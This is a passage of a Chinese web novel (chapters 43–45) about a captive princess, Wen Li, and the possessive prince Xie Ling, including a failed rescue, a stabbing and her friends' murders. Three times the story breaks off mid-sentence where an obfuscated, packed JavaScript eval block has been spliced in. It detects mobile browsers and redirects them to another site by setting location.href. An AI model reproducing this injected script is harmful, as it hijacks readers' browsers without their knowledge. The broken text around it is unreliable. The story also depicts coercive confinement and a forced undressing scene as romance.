吃完饭,闻梨想起自己早上熬的汤药,揭开盖子,药有点凉了,还是一样的腥味冲鼻,一想到谢陵要喝这么难喝的药,闻梨有些幸灾乐祸,守在旁边等着看他痛苦的表情。 在看到汤药的那刻,谢陵的脸色果然一变,拧紧眉别过脸去,似乎连看都不想看一眼,“今天就算了,不想喝。” 闻梨将碗推得更近了些:“不行,陆回说你不喝药的话,会发疯打人的。” 谢陵:“……”憋着气一口喝完,血腥味他闻惯了,不觉得有什么,就是这药甚苦,他不喜欢吃苦的东西。 苦头吃完了,他现在想尝尝甜梨的味道。 丝毫不察危险降临的闻梨,还在暗搓搓想着,下次煎药要如何把药再弄得苦一点,忽地背上覆来坚硬的胸膛,脚下一空,她被谢陵抱进净室。 “青天白日,你要做什么!”闻梨试图唤醒谢陵的羞耻心,却发现门被人从外边关上,就是喊破天也没用。 窗外桂花枝头落来两只鸟雀,缱绻缠绵,偷得一日浮闲,室内水汽氤氲,温香软玉在怀,情至深处,谢陵难以自抑:“卿卿试着爱我,好不好?” 43. 第43章 晚秋的雨一阵寒过一阵,夜里闻梨总睡得不太安稳,午夜梦醒时,她时常分不清自己身处哪里,思绪恍惚间,耳边会出现宫门落锁的幻觉,眼前时无尽的黑暗,她不知道自己要等多久,才会有人来给她开门。 有时候等不下去了,她试着去掰那把冰冷沉重的锁,可无论她如何使劲,那锁纹丝不动,身上愈发冷得厉害,像是掉进寒凉的水池里,岸上的人声走远,她拼命想抓住什么,却什么也抓不紧。 “卿卿别怕。” 冰凉的雨滴落在脸上,闻梨茫然睁眼,发现自己躺在屋子外的地面,浑身湿透,正被谢陵拥在怀里,“我怎么在这里?” 谢陵没说话,抱起她往屋内走,其实这已经不是闻梨第一次睡梦中跑出屋外,刚把她带回来时,便跑过一次,近来发作得愈发频繁,有时候她会蹲在门边用力掰门,有时候会在院中游荡,四处找出去的路,而今晚,她口中一直念叨着锁。 谢陵曾问过军医,军医只道此症状是心结,解铃人还须系铃人,谢陵知道闻梨的心结是什么,她想离开,去一个没有他的地方,可他做不到,倘若没有闻梨在,他会彻底疯掉,他也不知道自己是怎么了,也许也病得不轻。 “会好起来的。”谢陵拥紧怀中人,闭眼入睡。 淋了一场雨,闻梨又病倒了,整日里迷迷糊糊,神志不清,呓语不断。 待军医把过脉,摇头叹气,只是开了几副驱寒的方子和补药。 殷三娘满脸担忧:“怎会如此严重?公主近来胃口好了不少,精神也足,为何就是补不起来?” 军医看一眼床边坐着的谢陵,无奈道:“虚不受补,再加上整日胸闷郁结,恐很难有好转。” 沉思良久,谢陵起身,出门唤来了陆回和商晏。 几天后,闻梨神志逐渐清醒,刚睁眼就见清霜红着一双眼守在旁边,殷三娘也在,一见闻梨醒来,便笑着问她要吃什么。 待殷三娘离开,清霜才上前,扑在床边哭道:“奴婢还以为公主不成了。” 闻梨轻拍清霜的手背:“真有那天,我会提前安排你离开。” 清霜反握住闻梨的手:“公主别说丧气话,您吉人自有天相,身子一定会好转的。” 闻梨抬眸望向窗外的雨,眼神空幽:“不过行尸走肉罢了,你认识虞妃吗?给我讲讲她的故事好么?” 清霜愣住:“奴婢进宫晚,不认得虞妃娘娘,要是有宫里的老人在……”清霜猛然想起,宫里的老人几乎都死光了。 闻梨声音弱了下去:“这样啊,我有点累,想再睡一会儿。” 门外,仓促赶来的谢陵蓦然停下,静默片刻,转身离去。 雨一连下了几日,天刚放晴,清霜和殷三娘变着法子劝闻梨出去走走,但闻梨兴致缺缺,做什么事都提不起劲,直至军医过来给她把脉,临走前问她要不要去给马儿治病。 闻梨强撑着身子起来,简单洗漱后,在清霜和殷三娘的陪伴下,朝练武场旁的马厩走去,而军医则已先一步回药堂准备。 许久没出门,王府内巡守撤了大半,练武场也空无一人,闻梨觉得奇怪,问起缘由,清霜小声解释道:“公主您忘啦,前日临王过来跟您辞别,说要去江北大营,府里的士兵大半都被带去了。” 闻梨恍惚想起是有这么一件事,但不重要,就算府里守卫减半,她也不可能逃走,说不准暗处就有无数双眼睛在盯着她。 眼前是宽敞的练武场,闻梨的心境也开阔些许,一阵阵马儿的喷鸣声吸引了她的注意,殷三娘笑呵呵上前,一一给她介绍这些马儿的来历,“这些皆是上等马,瞧瞧那毛色,瞧瞧那腱子肉,能跑七天七夜不歇气。” “这是?”闻梨忽而顿住脚步。 殷三娘顺着闻梨的视线望去,原来是几匹高大威猛的骏马中间夹着一匹略显潦草的普通马,不光矮一头,肚皮还吃得圆滚滚的,看起来十分惬意自在。 殷三娘道:“公主有所不知,这马儿曾救过王爷的性命,当时王爷摔进悬崖下的水底,阴差阳错被这马儿驮上岸,后来带回府里养着,平常也没人敢骑它,久而久之养胖了。” 闻梨伸手轻轻抚摸着马儿的脑袋,眼眸闪过一缕难得的笑意:“你竟能活下来,没长成千里马也好,还是吃闲饭的日子适合你。” 马儿灵性地抬了抬脸,像是在回应闻梨的话。 短暂晴过两日,天又开始下起绵绵细雨,闻梨如今的身子受不得风寒,只能整日闷在屋子里看医书,傍晚时分,清霜见殷三娘迟迟没来送饭,便拿起竹伞,说要去后厨看一眼。 透过窗的光线越来越暗,闻梨点燃琉璃灯盏,搁在案桌上,方便她看清书上的字,有风从窗外吹来,灯烛忽明忽灭,闻梨刚想起身关窗,抬头瞥见窗外站着个人影,霎时整个人僵在原地,像踩在悬崖边上,令她头晕目眩,心惊肉跳。 窗外秋雨暝暝,少年一身雪白衣袍,微卷的刘海紧贴着额面,神色郁郁,眼眸深了几许,眸底的情绪浓烈复杂,有愧意,有心酸,有思念,似有千言万语要同她讲,却不知从何讲起。 “我想……” 在徐渺说话前,闻梨下意识把窗关上,退坐在椅子上,心绪万千,有点不知所措,原以为再见面,她会恨他,恼他,找他讨个说法,然后此生不再相见,可此时心里出奇的平静,答案是什么都已不重要了,她甚至品味到几分不对劲,以谢陵那爱吃醋的性子,怎会放徐渺进来? 下一瞬,房门被人从外边推开,闻梨惊慌抬眸,是徐渺闯进来了,他浑身湿透,一步一个脚印走来,定定望着闻梨:“我想带你离开这里。” 面对少年的靠近,闻梨感到几分紧张,“这是个圈套,你不可能带走我。” 徐渺彷佛没听到圈套二字,靠过来想牵闻梨的手,不料被她躲开,徐渺眼神黯淡了一瞬,毫不犹豫抓起她的手:“我知道你恨我,讨厌我,以后你要是不想见到我,我会离你远远的,但现在先让我送你出去。” 闻梨挣扎不脱他的手,便只能由他拉着走。 夜雨滂沱,庭灯熄了大半,朦昧昏暗的光线落在少年肩上,不知是雨水是汗顺着他的一缕髻发落下,她稍稍抬头,能看清少年脸上的神情,焦灼、决绝,还带着几分坚毅。 一扭头,闻梨瞧见了围满院外的火光,天空打了个闪电,照亮遍布屋顶的黑影,犹如一张密网,与这夜的雨交织在一起,心间忽而涌现无限的悲凉和无奈,逃不掉的,她的命从来由不得自己说了算。 雨势愈发凶猛,长廊尽头,谢陵撑伞等候许久,那双漆黑的眼眸如淬了寒星,当他瞧见二人紧牵的手时,面色骤变,勃然大怒,彷佛笼了层乌云,周身散发着骇人的气息。 徐渺同样神色紧绷,旋紧手中长剑,今天誓要跟谢陵拼个你死我活。 谢陵朝风浅吩咐了几句,很快风浅绑来一个浑身是伤的男人,谢陵将男人踩在脚下,晃了晃手中的匕首,阴恻恻开口:“给你两个选择,要么松开本王的女人,把这老东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547719|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西带走,要么就看着这老东西死在你眼前。” 徐渺一眼认出地上的男人是陈叔,思绪一团乱麻,陈叔于他而言,既是恩师,也是如父兄般的存在,何况陈叔家里还有两个孩子在等着父亲回去,他做不到扔下陈叔不管。 闻梨能感受到少年手心逐渐收紧的力道,她很不喜欢这样的局面,自己总被人拿来作比较,也总是被权衡利弊,每每这种时候,被扔下的人一定是她,毫无例外。 闻梨试着缩回自己的手,然而这一次,少年没再牢牢抓紧她。 徐渺犹似被雷击中,诧然望向闻梨,眼里带着明显的纠结和动摇,想再次握紧她,却见闻梨转身离开,檐外的雨斜着飘落在她身上,风和雨水贴着她纤弱的脊背,徐渺忽然有种感觉,她不可能回头了,永远也不会。 徐渺失魂落魄愣在原地,见谢陵大跨步走来,下意识以为对方要跟自己动手,刚要提起剑,却见对方压根没有要打的意思,快速掠过他,去追闻梨。 他眼睁睁看着谢陵追上闻梨,替她挡下倾斜落来的雨。 闻梨想推开谢陵,不料越推他抱得越紧,她只能加快脚步,无声对抗着他的靠近,刚进屋,她反手关门,想把谢陵关在门外,奈何他跟得紧,轻而易举赶在她关门前闯进屋中。 谢陵步步紧逼:“想不到卿卿力气还挺大,刚刚怎么不推开那小子?还是放不下他对吗?” “你走开,我要换湿衣服。”闻梨不耐烦地推了推他。 谢陵不依不饶:“好啊,我帮你换。”说着,他不顾闻梨的意愿,强行上手,将闻梨剥了个干净,用被褥包住,随即命人送来热浴,把人抱进浴桶,自己也脱干净,跨进水里,不由分说开始搓洗起闻梨刚才被徐渺牵过的手。 手背被搓得通红,闻梨忍无可忍,抬手给了谢陵一巴掌:“你有病?” 谢陵被这一巴掌扇懵,眼神瞬间清醒了几分,怒火中烧,好啊,居然为了外头的野男人打他,最近怜惜她身子弱,憋了许久火气,今晚要在她身上狠狠讨回来。 闻梨本以为给谢陵一巴掌,能让他愤怒而去,没想到适得其反,惹火了他,被他翻了个面,抵在浴桶边缘动弹不得。 闻梨双手紧紧抓着浴桶,越想越觉得憋屈,从来没人问过她的意思,却都要把所有的后果、怒火发泄在她身上,眼泪一颗颗滚落,她不想再默默承受一切。 “人不是你故意放进来的吗?今晚也都是你计划好的,我只是被你利用的棋子,我不明白,你到底在气什么?还是只想找个借口磋磨我?倘若是后者,又何必假惺惺说那些要我接受你的话?” 从闻梨说话的那刻起,谢陵便停下了,静静听她把话说完,从他把闻梨带回府中,他便很少见她哭过,也从没见她一口气说了那么多话。 谢陵心软了,彻底冷静下来,擦了擦她脸上的泪珠:“今晚确实是我提前安排好的,可是卿卿,我没想利用你,我想你看清,那个男人,随时会为了别的人放弃你,他不值得你惦念。” 闻梨拍开他的手,恼怒道:“你的目的达到了,为何还要冲我撒气?” 难得见闻梨如此生气,比起死气沉沉的她,谢陵更喜欢会怒会哭的她,谢陵黏上来亲吻闻梨,“是我不好,不必等你生辰,明天就放你出府散心好不好?去哪里都可以,唯有两点,天黑记得回来,让我的人跟在你身边保护你。” 闻梨已经没力气挣扎了,她心想,放她出府又怎样?不过是栓着自己的绳子变长了而已。 44. 第四十四章 雪一连下了几日,望江楼几乎天天满座,坐在二楼的雅间,窗外是绵延的雪山和澄澈的湖泊,楼里有唱曲的、说书的,还有舞妓献艺,出入往来者非富即贵,热闹奢靡至极。 望江楼有个不成文规定,凡是天字号房间的客人,可随意点名妓献舞,近日有个叫芸娘的舞妓,样貌不是最出众,舞技也不是最好的,却回回得天字号贵客青睐,贵客出手阔绰,舞妓们自然是争相献舞。 一曲献罢,沁芸数了数,这回的打赏颇为丰厚,不仅足够她赎身,还够她富足过完下半生,正当她提心吊胆,怀疑此位贵客是否会趁机提出无理要求,贵客却只托人给她传来一句话:早日离开是非之地。 沁芸不禁湿了眼眶,从众星捧月的公主,沦为风尘之地的舞妓,深陷泥沼,却没法自救,这里面的心酸只有她自己知晓。 “客人可还在楼上?”她想去见见那位救她于泥潭的贵客。 门人摇头:“怕是已经走了,但今日风雪大,各家马车堵在门前,兴许你追出去,还有得见。” 沁芸闻言,立刻提裙追了出去,望江楼门口马车堵成一片,沁芸询问门人,可有瞧见刚从楼里出来的天字号贵客?门人指道:“好像是那辆马车。” 沁芸快步过去,满心以为能见到恩人,到了却发现马车上只有个车夫。 大雪漫天,天地间一片素洁,闻梨撑着伞沿路缓缓而行,风雪吹动她裙裾边的银丝暗纹,素白斗篷也随风猎猎,清冷出尘摄人心魄,绝美的皮囊下,却是一双空灵沉寂的眼眸。 随行的清霜一脸担忧道:“公主还是等一等车夫吧,您的身子刚好,经不住这样大的风雪。” 闻梨恍若未闻,她不想回到马车上,由着那辆马车将自己送进牢笼,即便出了府,玉京城那么大,她也觉得是牢笼,她不知道自己是怎么了,好像走到哪里,都能听到宫门落锁的声音,再亮的天,在她眼里也灰蒙蒙的,最终彻底暗下去,她什么也瞧不见。 “公主。”一道熟悉又久远的男声唤醒闻梨。 视野逐渐恢复清晰,闻梨呆呆望着眼前沧桑了许多的沈迟,与两年前送她离京的温润贵公子相差甚远,一身粗布麻衣,胡茬潦草,消瘦憔悴,唯有那双眼眸明亮如初,依旧带着几分洞察与锋锐。 沈迟叹息一声:“看来公主还是没能逃出去。” 闻梨心底涌出无限悲凉:“是我连累你至此吗?” 沈迟默了默,苦笑道:“不也全是,新帝继位,沈家倒台是难以避免的事,如今我好歹能当个巡城守卫,月钱不多,一家老小不至于饿死。” 闻梨:“我还欠你一个恩情,有没有我能帮你的地方?” 沈迟面有难言之隐,思考片刻,还是选择说出口:“沁芸在望江楼,那地方我进不去,她也出不来,若是能替她赎身,在下必感念公主恩典。” 闻梨应道:“好,你我之间不必言谢。” 话音未落,一辆低奢的马车蓦然停在二人身旁,谢陵掀开车帘,扫了眼二人,面色冷峻道:“卿卿该回府了。” 闻梨刚坐上马车,谢陵便靠过来搂着她,抬手掸去她肩落的雪,漫不经心的语调里藏着几分醋意:“卿卿在与沈迟说些什么?他难道还想帮你逃走?” 闻梨:“以沈迟的才能,不该埋没于此。” 谢陵沉下脸来,不悦道:“朝堂上的事,卿卿不要插手。” 闻梨冷笑一声:“究竟是与朝堂有关,还是你的私心作祟?” 谢陵眼底闪过一丝狠厉:“他帮你逃走,罪无可赦,如若卿卿这般在意他,我只好让他见不到明天的太阳。” 闻梨微微抬头,对上身旁男人那双幽深淡漠的凤眸,她笑了笑,道:“好啊,那从明天起,我就开始喜欢他,他要是磕着、碰着,或者被你害死,我就喜欢他一辈子。” 谢陵紧绷着下颌,脸色铁青,乌沉沉的眼眸盯紧闻梨,忍了又忍,最后他强压着怒火,妥协道:“我不准你喜欢他,我不动他便是了。” 转眼已至年关,冰雪消融,天气逐渐回暖,但夜里闻梨总觉得冷,暖阁内便还烧着地龙。 “今日也要出府?”谢陵穿好衣裳,回眸看了眼帐帘里仍躺着的闻梨,没等来她的回应,他知道她醒着,便自顾自地说道:“也罢,今日是除夕,晚上有宫宴,我不能陪你,你想去就去,等晚些时候,我来接你回府。” 待谢陵走后,闻梨才唤清霜进屋,简单梳洗后,换了套寻常百姓的衣裙,戴好帷帽,径直出了府门。 被关在王府大半年,起初闻梨也不知出府做什么,只是一味的闲逛,听书喝茶看戏,丝毫不能缓解她消沉沮丧的心情。 后来她寻到一家收学徒的林氏医馆,不要工钱,跟着见多识广的老大夫学诊脉,偶尔跟着医馆的人出去义诊,学艺不深,勉强能看个头疼脑热,但她白送病人草药。 渐渐地,前来瞧病的穷人越来越多,闻梨累得自己病倒了,自那之后,谢陵只准她瞧十个病人,剩下的由临王府出钱,送去正经医馆瞧病。 没想到经此一事,谢陵在坊间的口碑逆转,支持废太子一党的声音越来越小,朝堂上的事情处理起来,似乎顺手了不少,谢陵整日不再苦着一张脸,手底下的人办差也松快不少。 这日是除夕,家家户户忙着过年,守了一早上摊位,没有一个病人前来瞧病,闻梨让清霜收起摊位,天色尚早,她便带着清霜进了间茶楼消磨时间。 茶楼里大多是无法跟家人团聚的客人,有游学的举子,有做生意的客商,也有粗犷豪迈的江湖人,杂七杂八聚在一起,讲着来自天南地北的趣事。 闻梨坐在不显眼的角落,一边喝茶,一边听着芸芸众生的故事。 忽听得砰的一声响,靠门的木桌被一个闯进门的姑娘一剑劈成两半,那姑娘追着个面具黑衣男子狂砍,隔壁桌的萧大郎立刻起身,护在闻梨身边。 “有人闹事,公主请速速离开这里,那边有后门。”萧大郎指道。 闻梨匆忙起身,回头看了眼打得不可开交的两人,登时愣在原地,认出其中一人是厉欢颜,闻梨朝萧大郎道:“劳烦萧将军去帮帮那位姑娘。” 萧大郎果断拒绝:“保护公主是臣的职责。” 闻梨撸起袖子:“好,你不去我去。” 萧大郎哪敢让公主过去打架,立马改变主意,让手下寸步不离守在公主身边,而他自己拎着刀,加入战局,很快将那名四处逃窜的面具男子困在墙角,无路可逃。 厉欢颜朝萧大郎道了声谢,正要拿出绳子绑了面具男子,岂料那人还藏有后招,地面瞬间腾起一阵呛人的烟雾,烟散后,面具男子不知所踪。 厉欢颜咬牙切齿:“可恶,又让他逃走了!” “阿颜!” 听到这熟悉的声音,厉欢颜诧异回头,瞧见闻梨的刹那间,眼神徒然亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558754|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,重逢的喜悦在她脸上显现,但这股喜悦里还夹杂着点悲愁和心酸。 “阿梨,你怎会在这里?”厉欢颜眼圈通红,激动地握住闻梨的手,“此处不便说话,你随我去个地方,我们好好叙一叙。” “我走不开。”闻梨回头看了眼萧大郎,随后向店老板要了楼上雅间。 厉欢颜:“也好,楼上说。” 夜幕降临,华灯初上,窗外传来劈里啪啦的炮竹声响,街头巷尾人流如织,萧鼓沸腾,百姓们簇拥着前往御街观花灯,热闹非凡。 屋内没有点灯,五光十色的烟花透过窗,无力地照在闻梨惨白的脸上,她紧绷着身子,止不住发抖的手紧紧攥着一封褶皱的信,缓了好一半晌,她嘴皮哆嗦着,还是说不出一句完整的话。 “小婉和段道长,他们……怎么……”那个死字,她咬得很轻,显然无法接受这个噩耗。 厉欢颜沉声道:“收到段道长的信,我立刻赶回月华山庄,想带着人去桃源村找你们,但大雪封山,暂时进不去,我担心暗夜阁的杀手会再找段道长的麻烦,便打算先去跟他们汇合,却不料……我最后在乱葬岗找到他们的尸首。” “我想给他们报仇,一直在找面具人的下落,我也曾派人去桃源村找过你们,但是一无所获,我以为连你们也……”厉欢颜哽咽住了。 一旁炭盆烧得正旺,闻梨却冷得浑身发颤,眼眶里的泪水好似决堤般涌出,她从椅子上跌跪在地,双手无力地捶打着地面,胸口剧烈起伏,眼前一黑,气急攻心吐了口血。 厉欢颜忙过来扶她,也因伤心扑坐在地,抱着闻梨一起哭,信誓旦旦又说了一遍:“我一定会为他们报仇的。” 闻梨一边流泪,一边摇头,嗓子几乎失声,她拼命地指向自己,眼里彷佛再说:是我害死了他们,是我。 “阿梨,你别这样想,我们要抓到真正的凶手,不该自怨自艾,我还要去追那面具人,你留在这里,等我报仇雪恨了再来找你。” 厉欢颜起身要走,却被闻梨紧紧抓住衣角,她的唇角在渗血,“别、别走,我知道谁是真正的凶手,我想……亲手为他们报仇。” 从宫宴出来,谢陵特意先回了趟王府,洗去身上的酒气,换了套干净舒爽的衣袍,才乘着马车来接闻梨。 茶楼外,萧大郎将白天的事一字不漏报给谢陵,“公主与那女子已经在房里待了两个时辰。” 谢陵不紧不慢喝口醒酒茶,“不急,再等等,让醉香居的人晚一点上菜。” 今夜无月,冷风吹动车帘,隐约透进来一丝凉意,谢陵想到闻梨那弱不禁风的身子,派人送来炭盆,汤婆子和暖和的披风,车窗外,人群熙熙攘攘,一会儿吃完饭,他要带她去最高的城楼上,眺望城里的万家灯火。 过了很久,谢陵要等的人终于来了,从车帘掀开的那刻,他的眼里心里唯有一个她,他迫不及待牵住她柔软冰凉的手,放在自己掌心搓了搓,“怎的这般凉?可是冻到了?” 闻梨没回应。 谢陵已经习惯她不回他的话,径自将人拉进自己怀里抱着,又把她的双手放在心口处捂着:“饿不饿?等会儿想吃什么?” 闻梨浑身在发颤。 下一瞬,谢陵脸上血色尽失,难以置信看向刺在自己胸口的匕首,他冷吸一口气,乌沉沉的眼眸深不见底,面上神情像是在怒,又像是在冷笑:“想不到卿卿竟恨我到如此地步。” 45. 第四十五章 血很快濡湿了谢陵的衣袍,顺着刀柄流到闻梨指缝,淋漓鲜血吓得她松开手,仓惶后退了几步,被矮榻绊倒在地,面色比谢陵还要苍白几分。 闻梨不停地擦着手上的血迹,眼泪大颗大颗砸下来,眼里除了恨意,还有几分紧张和无措,当看到谢陵面不改色拔掉胸前的匕首,朝自己爬过来,闻梨瞬时吓得缩进角落,心一横,闭眼等死。 “跑什么?”谢陵俊美的脸庞白得渗人,一把将闻梨抓过来,逼迫她睁眼,“所以卿卿永远没办法接受我?如果我把心剖给你看,你会不会相信我对你的真心?那样能在你心里留有一席之地吗?” 黏糊糊的刀柄被重新塞回闻梨手中,闻梨骇然睁眼,面前的男人彻底疯了,他用近乎魅惑的声音挑唆着她:“如果这就是你想要的,那我成全你。” 闻梨盯着那锋利的刀刃,脑中一片空白,手在发颤,有些握不紧刀柄,这时谢陵忽而倒下了,毫无声息倒在她怀里,他面如白纸,呼吸渐微。 马车外,风浅察觉到不对劲,果断掀帘,只见自家主子满身染血躺在公主怀里,而公主闭着眼,如羊脂玉般细腻的脸上泪痕斑驳,破碎又凄婉,恍若一具精致却毫无生机的泥人娃娃。 风浅惊慌大喊:“护驾!” * 雨淅淅沥沥下了整夜,直至天亮才停歇,光线透过半掩着的朱窗,洒落进寝房,与香炉里升起的烟缭绕成一片,床上躺着的人动了动眼皮,似乎有要苏醒的迹象。 谢侯爷带着妻女跨进房门,谢知瑶一股脑扑到谢陵榻边,眼圈红红的,想哭却极力忍着,只把小手搭在谢陵胳膊上,小声唤道:“哥哥,你都躺一个月了,快醒来陪我玩。” “阿瑶,莫要吵你兄长养病。”侯夫人牵起谢知瑶的手。 谢宗看向何军医,询问谢陵的情况。 何军医道:“王爷身体已无大碍,再过几日便能醒。” 谢宗扫了一眼守在床榻边的陆回、商晏、萧大郎等人,轻声咳嗽了一声,吩咐道:“你们跟我来。” 书房内,谢宗翻了翻桌上堆叠如山的奏折,摆出架势:“如今朝野皆知陵儿昏迷不醒,旧太子一党已在暗中集结势力,朝廷动荡不安,你们几个都是陵儿的心腹,越是这种时刻,越得看紧手下人,以防有人生事。” 几人低头应是。 谢宗视线一转,落在了陆回身上,“即日起命你为定远将军,居二品,明日赶赴北疆,替陵儿守好关门,莫要使齐国趁此机会进犯。” 陆回懵住,论年纪和资历,自己远不够号令一方将士们,而且在这种时候离京,他很不放心王爷。 陆回跪下请辞:“朝中有不少比我有能耐的老将,还请侯爷三思。” 谢宗冷下声音:“胡闹,军令可随意更改?年轻人难免鲁莽,不必担心,我自会派人辅佐你。” 紧接着谢宗还安排了萧二郎等人的去处,和陆回差不多,表面上都是升迁,实则都被调离了京都。 最后,谢宗颇为欣赏地望向商晏,要商晏从明日起搬去侯府住,方便议政,商晏并未拒绝,而后,谢宗又命人搬走书房里的折子与玉玺。 待谢宗走后,陆回一把扯住商晏的袖子:“你真要搬去谢侯府上住?王爷待你不薄,我们都走了,王爷日后怎办?” “不论是替谁做事,某只一心为国为民。”商晏端的是慨然坦荡。 陆回恨恨松手。 商晏临走前,回头瞧了眼陆回与萧二郎等人,道:“路上多加小心。” * 又是一夜的雨,自被幽禁在这座僻静的院落里,闻梨已数不清这是她失眠的第几晚。 谢陵死了吗?每天有人来送饭,闻梨都要问一遍,但无人应她。 她蜷缩在床角,彷佛回到小时候那段被人遗忘的日子,与无边无尽的夜幕相伴。 房门被人打开,晃眼的亮光照过来,闻梨感到头晕目眩,下意识抬手遮挡,眼睛熟悉光线后,她才看清门边站着的人。 昏黄烛火里,谢陵投来淡漠一瞥,他今日穿了身浅色锦袍,衬上那张清癯苍白的俊颜,没了往日的盛气凌人,那双含怨的幽暗眼眸,透着几分破碎与憔悴。 是来找她算账的,闻梨知道迟早会有这么一天,她不怕死,就是受不了这份被幽禁的孤独。 闻梨起身,安静坐在榻边,垂眸等死。 谢陵命人点燃屋子里的灯,自己找了把椅子坐下,待屋中只剩二人,谢陵掀眸,冷冷开口:“可还有什么话要说?” 闻梨摇头。 谢陵捏得指骨泛白,她竟连骗他都不肯,他神情阴郁,从牙缝里挤出几个字:“一年之期未到,为何非置我于死地不可?” 闻梨沉默好一半晌,蓦然抬头,对上谢陵眼里凝聚的怒火,心如死灰问:“为什么要派人杀他们?” “我杀了谁?” “曾与我同行的两个人,一个道长以及他的妹妹。” 谢陵讥讽道:“就为了两个毫不相关的人?” 闻梨眼底划过一丝薄怒:“他们是我好友,并非不相干的人。” 谢陵神色微顿:“我没有理由杀他们。” 闻梨眉心紧蹙,从怀里掏出一张皱巴巴的纸,递到谢陵面前:“暗夜阁的杀手是你派来的对吧?杀手追查我的行踪,把他们杀了,难道不是你下的令?” 谢陵接过纸来瞧,气焰熄灭些许:“我的确用过暗夜阁的人,但我的目标只有你,至于其他人的死活与我无关。” 闻梨一把夺回信纸,攥在手心,眼眶盈满泪水,背过身道:“我不想再见到你,倘若你日后还来,那么你将见到我的尸首。” 谢陵沉默良久,起身离开。 房门再次关上,闻梨浑身颤栗,跌坐在地上,愣愣盯着漆黑的夜幕,宛若一截木头,一动不动。 离开屋子后,谢陵脸色略显苍白,行走间有些吃力,一个时辰前,他才刚刚醒来,得知闻梨被叔父幽禁,便什么也顾不得了,赶来见她一面,幸好叔父没对她用刑。 谢陵推开扶着自己的风浅,吩咐道:“把清霜叫过来陪她,另外再把暗夜阁的人找来,我要亲自问。” * “公主,多少吃点,您这样会饿坏身子的。”清霜伏在床边,一遍遍地劝。 闻梨终于起身,却不是为了进食,走到桌前,提笔写了封信,递给清霜:“你找机会出府,去一趟庆丰茶馆,把信交给一位姓厉的姑娘,她会带你离开京城。” 清霜哽咽:“公主?” 此时,门外传来脚步声,风浅隔着门道:“公主,王爷有请。” 略等了等,屋里没动静,风浅再次开口:“王府近日抓了个女贼,姓厉,她说认识公主。” 半炷香后,闻梨跟着风浅来到前院,一进院门,便看到好端端站在树下的厉欢颜,她不由得松口气,转而寻找谢陵的身影。 但谢陵似乎并不在这里。 风浅停下脚步,“公主在此稍候片刻。” 厉欢颜瞧见闻梨没事,也暗自纾气,“你还好吗?那天你让我在茶馆等你消息,为何一直不来找我?你跟这里的人是什么关系?” 闻梨勉强笑了笑:“我没事,我的事日后再告诉你,你是怎么来这的?” 厉欢颜:“我放心不下你,四处打听消息,得知你住在这儿,但他们不让我见你,我只好翻墙了,然后被抓。” 闻梨扭头问风浅:“王爷在哪?” 风浅不语,与此同时,院外又来了个人,厉欢颜一眼认出,快速拔剑:“好啊,你还敢送上门,看你这次往哪逃!” 来人摘下脸上面具,底下是一张俊朗不俗的脸,唇角一扯,笑得有些邪魅:“好久不见,厉大小姐,从岭南追到京城,你还真够有毅力的,有没有兴趣加入暗夜阁?” 闻梨有些搞不清状况,悄悄拉住厉欢颜,“先别动手。”而后看向男子,冷声问道:“就是你动手杀了段道长和小婉?” 云霄微微挑眉,不悦道:“都说好几遍了,人不是我杀的,怎么就追着我不放?” 厉欢颜怒道:“信上写得清清楚楚,你拿小婉的性命做要挟,逼迫段道长说出阿梨的下落。” 云霄皱眉:“哪来的信?” 闻梨拿出信,交给风浅递了过去。 云霄看罢信,冷嘲道:“我是用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585230|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点手段,可人不是我杀的,二位仔细想想,我若是想杀他们,套出消息便可动手,为何给他们寄信的时间?岂非自找麻烦?” 厉欢颜:“没准你是后来才起的杀心,除了你,谁还会杀他们?” 云霄耸肩:“鬼知道他们有没有别的仇家,你要这么说,也许还有一种可能,有人担心他们会泄露那位姑娘的行踪,故而派人灭口。” “胡扯!”厉欢颜欲再次提剑,却见身旁的闻梨踉跄了几步,直直往后倒去,她眼疾手快扶住闻梨,忙问:“你怎么了?” 闻梨咬紧唇,眼泪无声落下,她早该想到的,段道长和小婉的死还有另外一种可能,可她难以接受,明明那个秋天,银杏树下,大家相处得那般和谐,徐渺究竟是个什么样的人? 原来是她自己,亲手把小婉和段道长推上死亡之路,倘若一开始,她不曾告诉他们自己的去向,也许结局会改变。 闻梨气急攻心,又吐了口血,晕了过去。 屏风后的谢陵坐不住了,大跨步走出正厅,二话不说抱起闻梨,疾步朝主院行去。 面对这突然闯来的陌生男子,厉欢颜下意识想推开他,岂料还没碰到衣角,便被另一柄刀架住脖子,无奈之下,她只能眼睁睁看着闻梨被人带走。 云霄若无其事靠过来,好似已经冰释前嫌:“那姑娘跟临王是什么关系?” 